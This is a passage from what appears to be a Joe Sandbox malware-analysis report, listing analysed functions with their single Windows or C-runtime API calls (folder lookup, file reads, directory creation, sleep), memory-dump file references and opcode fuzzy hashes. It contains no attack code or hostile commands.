Associated: 00000005.00000002.2232568485.000000000076E000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000771000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000773000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000777000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000077A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000078D000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000791000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000079F000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007A3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007B1000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007B5000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007C3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007D5000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007DA000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007E8000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007EA000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007F0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007F7000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000807000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000080B000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000081A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000842000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000846000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000084A000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_150000_8WUnp6Y_Ak5XjHYYEp1aIJYJ.jbxd

Similarity

API ID: ErrorLast__dosmaperr
String ID:
API String ID: 1659562826-0
Opcode ID: 1523dced06898ca4db396fd347421f6fbe4f13c44f1db3de1ce53b55b6f4b814
Instruction ID: 843531a5364e40051cae22ae22d2d98d359b4971f4af2156603079efdf3674ef
Opcode Fuzzy Hash: 1523dced06898ca4db396fd347421f6fbe4f13c44f1db3de1ce53b55b6f4b814
Instruction Fuzzy Hash: CBD0123342850D3B5F002AF77C099573B5D8AE137C7140611F92DC5591DF25D8914250

Function 0022F030 Relevance: 1.7, APIs: 1, Instructions: 170COMMON

Download Yara Rule

APIs

SHGetFolderPathA.SHELL32(00000000,0000001A,00000000,00000000,?), ref: 0022F09A

Memory Dump Source

Source File: 00000005.00000002.2230874398.0000000000151000.00000020.00000001.01000000.00000006.sdmp, Offset: 00150000, based on PE: true

Associated: 00000005.00000002.2230806897.0000000000150000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2231644289.00000000002AD000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2231712795.00000000002D5000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2231771873.00000000002DA000.00000020.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232008781.0000000000403000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232086743.0000000000404000.00000020.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000006FD000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000705000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000713000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000717000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000725000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000729000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000738000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000073C000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000074A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000074C000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000075C000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000760000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000076E000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000771000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000773000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000777000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000077A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000078D000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000791000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000079F000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007A3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007B1000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007B5000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007C3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007D5000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007DA000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007E8000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007EA000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007F0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007F7000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000807000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000080B000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000081A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000842000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000846000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000084A000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_150000_8WUnp6Y_Ak5XjHYYEp1aIJYJ.jbxd

Similarity

API ID: FolderPath
String ID:
API String ID: 1514166925-0
Opcode ID: 333de668475f27a229416bba2db2abffdb0d6377f33b7b63e8de064b43bda6fa
Instruction ID: 640e2380ce9ecb3f67f763ef6ce8b4255de9f452652e64a6e0c23969a2f600f4
Opcode Fuzzy Hash: 333de668475f27a229416bba2db2abffdb0d6377f33b7b63e8de064b43bda6fa
Instruction Fuzzy Hash: BA716BB0C04358DBEB15CFA4D984BEDBBB4BF19310F244299E8097B292D7751A84CF50

Function 00237330 Relevance: 1.6, APIs: 1, Instructions: 122COMMON

Download Yara Rule

APIs

__fread_nolock.LIBCMT ref: 00237483

Memory Dump Source

Source File: 00000005.00000002.2230874398.0000000000151000.00000020.00000001.01000000.00000006.sdmp, Offset: 00150000, based on PE: true

Associated: 00000005.00000002.2230806897.0000000000150000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2231644289.00000000002AD000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2231712795.00000000002D5000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2231771873.00000000002DA000.00000020.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232008781.0000000000403000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232086743.0000000000404000.00000020.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000006FD000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000705000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000713000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000717000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000725000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000729000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000738000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000073C000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000074A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000074C000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000075C000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000760000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000076E000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000771000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000773000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000777000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000077A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000078D000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000791000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000079F000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007A3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007B1000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007B5000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007C3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007D5000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007DA000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007E8000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007EA000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007F0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007F7000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000807000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000080B000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000081A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000842000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000846000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000084A000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_150000_8WUnp6Y_Ak5XjHYYEp1aIJYJ.jbxd

Similarity

API ID: __fread_nolock
String ID:
API String ID: 2638373210-0
Opcode ID: 0b8ef4a5c46bb4676763aea510869f86267c6d177e1bc42b3769512bda31ec80
Instruction ID: fa69b077db545c4bf0452f1983369cb2b80792fa4b9d4a50ec34f2cf26bf9d67
Opcode Fuzzy Hash: 0b8ef4a5c46bb4676763aea510869f86267c6d177e1bc42b3769512bda31ec80
Instruction Fuzzy Hash: DD5137B0D04208DBCB10DF98D981AEEBBB4EF59710F244169E8157B381D775AE41CBA6

Function 002374C0 Relevance: 1.6, APIs: 1, Instructions: 119COMMON

Download Yara Rule

APIs

__fread_nolock.LIBCMT ref: 00237609

Memory Dump Source

Source File: 00000005.00000002.2230874398.0000000000151000.00000020.00000001.01000000.00000006.sdmp, Offset: 00150000, based on PE: true

Associated: 00000005.00000002.2230806897.0000000000150000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2231644289.00000000002AD000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2231712795.00000000002D5000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2231771873.00000000002DA000.00000020.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232008781.0000000000403000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232086743.0000000000404000.00000020.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000006FD000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000705000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000713000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000717000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000725000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000729000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000738000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000073C000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000074A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000074C000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000075C000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000760000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000076E000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000771000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000773000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000777000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000077A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000078D000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000791000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000079F000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007A3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007B1000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007B5000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007C3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007D5000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007DA000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007E8000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007EA000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007F0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007F7000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000807000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000080B000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000081A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000842000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000846000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000084A000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_150000_8WUnp6Y_Ak5XjHYYEp1aIJYJ.jbxd

Similarity

API ID: __fread_nolock
String ID:
API String ID: 2638373210-0
Opcode ID: 6bbcf6cd87cd7bfe04a9b10bbc31e5b648865f93fa24b06e30eabad77771a99a
Instruction ID: 3003ad040ca4a634b53c28b7c4153aa2bb362524fbbcffb643bd9bd1b37d3b5c
Opcode Fuzzy Hash: 6bbcf6cd87cd7bfe04a9b10bbc31e5b648865f93fa24b06e30eabad77771a99a
Instruction Fuzzy Hash: 044139B0D042099BDB14DF98D982BEEBBB4FF59700F144169E811AB382D7799A01CFA5

Function 00158860 Relevance: 1.6, APIs: 1, Instructions: 117COMMON

Download Yara Rule

APIs

CreateDirectoryA.KERNEL32(?,00000000,?,?,?,7FFFFFFF,?,?,?,?,00000000,0029CFC9,000000FF), ref: 00158949

Memory Dump Source

Source File: 00000005.00000002.2230874398.0000000000151000.00000020.00000001.01000000.00000006.sdmp, Offset: 00150000, based on PE: true

Associated: 00000005.00000002.2230806897.0000000000150000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2231644289.00000000002AD000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2231712795.00000000002D5000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2231771873.00000000002DA000.00000020.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232008781.0000000000403000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232086743.0000000000404000.00000020.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000006FD000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000705000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000713000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000717000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000725000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000729000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000738000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000073C000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000074A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000074C000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000075C000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000760000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000076E000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000771000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000773000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000777000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000077A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000078D000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000791000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000079F000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007A3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007B1000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007B5000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007C3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007D5000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007DA000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007E8000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007EA000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007F0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007F7000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000807000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000080B000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000081A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000842000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000846000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000084A000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_150000_8WUnp6Y_Ak5XjHYYEp1aIJYJ.jbxd

Similarity

API ID: CreateDirectory
String ID:
API String ID: 4241100979-0
Opcode ID: c19dc3fa97f624253edcc48b093759f1242ee72b7c3f9974fdae532fa7e57c93
Instruction ID: a2446bc2244145e2f95bf4476156fd89b25c46c0a1e4608eb4c984ea509b03d4
Opcode Fuzzy Hash: c19dc3fa97f624253edcc48b093759f1242ee72b7c3f9974fdae532fa7e57c93
Instruction Fuzzy Hash: EE41B171D01705DBC720DF68EC85B69B3B5EB45B21F20432AE835A73D1EB706D849B92

Function 0019251C Relevance: 1.3, APIs: 1, Instructions: 53COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(00182B5E,?,00000000,00000000,002C9E30,00182B5E,00000002,00182B5E,00000000,?,?,?,00192626,00000000,?,00182B5E), ref: 00192565

Memory Dump Source

Source File: 00000005.00000002.2230874398.0000000000151000.00000020.00000001.01000000.00000006.sdmp, Offset: 00150000, based on PE: true

Associated: 00000005.00000002.2230806897.0000000000150000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2231644289.00000000002AD000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2231712795.00000000002D5000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2231771873.00000000002DA000.00000020.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232008781.0000000000403000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232086743.0000000000404000.00000020.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000006FD000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000705000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000713000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000717000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000725000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000729000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000738000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000073C000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000074A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000074C000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000075C000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000760000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000076E000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000771000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000773000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000777000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000077A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000078D000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000791000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000079F000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007A3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007B1000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007B5000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007C3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007D5000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007DA000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007E8000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007EA000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007F0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007F7000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000807000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000080B000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000081A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000842000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000846000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000084A000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_150000_8WUnp6Y_Ak5XjHYYEp1aIJYJ.jbxd

Similarity

API ID: ErrorLast
String ID:
API String ID: 1452528299-0
Opcode ID: 8abeb6a5307aae0c5f8993b5a10ce0671f22c05d6c43ee557ea206ed1c60e590
Instruction ID: aeb5b7b0e5d8fa19a451384870f351de232a0672d2d6a45babc27009d7ecd6bd
Opcode Fuzzy Hash: 8abeb6a5307aae0c5f8993b5a10ce0671f22c05d6c43ee557ea206ed1c60e590
Instruction Fuzzy Hash: B9012232A10119BFDF09CF28DC55CEE3B69DB85330B250209F8019B2A1EB71ED91CBA0

Function 00217610 Relevance: 1.3, APIs: 1, Instructions: 43sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(00000065,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00217687

Memory Dump Source

Source File: 00000005.00000002.2230874398.0000000000151000.00000020.00000001.01000000.00000006.sdmp, Offset: 00150000, based on PE: true

Associated: 00000005.00000002.2230806897.0000000000150000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2231644289.00000000002AD000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2231712795.00000000002D5000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2231771873.00000000002DA000.00000020.00000001.01000000.00000006.sdmpDownload File
